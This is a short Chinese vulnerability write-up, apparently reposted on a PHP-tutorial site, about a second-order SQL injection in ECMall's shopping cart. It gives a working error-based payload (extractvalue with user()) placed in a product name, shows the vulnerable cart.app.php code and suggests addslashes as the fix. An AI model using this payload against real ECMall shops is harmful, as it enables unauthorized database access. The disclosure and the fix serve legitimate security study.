网站地图    收藏   

主页 > 后端 > 网站安全 >

Ecmall某处SQL二次注入第一弹 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 20140618做了些过滤但是还是能勉强绕过首先注册一个会员 然后发布以上商品然后转义入库 入库后转义符消失商品名称 商品分类 品牌 价格 库存 上架 推荐 禁售 操作全选xxx 39;and extractv...

20140618做了些过滤但是还是能勉强绕过

首先注册一个会员 然后发布以上商品

然后转义入库 入库后转义符消失



商品名称 商品分类 品牌 价格 库存 上架 推荐 禁售 操作

全选

xxx'and extractvalue(1,concat(0x5c,(user()))),1,1,1,1)# 10.00 100 [可编辑] [可编辑] 编辑 | 删除



发布一个如上的商品



然后找找出库的地方



在app/cart.app.php中


 

function add()
    {
        $spec_id   = isset($_GET['spec_id']) ? intval($_GET['spec_id']) : 0;
        $quantity   = isset($_GET['quantity']) ? intval($_GET['quantity']) : 0;
        if (!$spec_id || !$quantity)
        {
            return;
        }

        /* 是否有商品 */
        $spec_model =& m('goodsspec');
        $spec_info  =  $spec_model->get(array(
            'conditions'    => $spec_id,
            'join'          => 'belongs_to_goods',
        ));

        if (!$spec_info)
        {
            $this->json_error('no_such_goods');
            /* 商品不存在 */
            return;
        }

        /* 如果是自己店铺的商品,则不能购买 */
        if ($this->visitor->get('manage_store'))
        {
            if ($spec_info['store_id'] == $this->visitor->get('manage_store'))
            {
                $this->json_error('can_not_buy_yourself');

                return;
            }
        }

        /* 是否添加过 */
        $model_cart =& m('cart');
        $item_info  = $model_cart->get("spec_id={$spec_id} AND session_id='" . SESS_ID . "'");
        if (!empty($item_info))
        {
            $this->json_error('goods_already_in_cart');

            return;
        }

        if ($quantity > $spec_info['stock'])
        {
            $this->json_error('no_enough_goods');
            return;
        }

        $spec_1 = $spec_info['spec_name_1'] ? $spec_info['spec_name_1'] . ':' . $spec_info['spec_1'] : $spec_info['spec_1'];
        $spec_2 = $spec_info['spec_name_2'] ? $spec_info['spec_name_2'] . ':' . $spec_info['spec_2'] : $spec_info['spec_2'];

        $specification = $spec_1 . ' ' . $spec_2;

        /* 将商品加入购物车 */
        $cart_item = array(
            'user_id'       => $this->visitor->get('user_id'),
            'session_id'    => SESS_ID,
            'store_id'      => $spec_info['store_id'],
            'spec_id'       => $spec_id,
            'goods_id'      => $spec_info['goods_id'],
            'goods_name'    => $spec_info['goods_name'],
            'specification' => trim($specification),
            'price'         => $spec_info['price'],
            'quantity'      => $quantity,
            'goods_image'   => $spec_info['default_image'],





这里出库后 goods_name没转义。



造成了二次注入。


 

1.jpg





直接出数据

 

修复方案:

addslashes

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论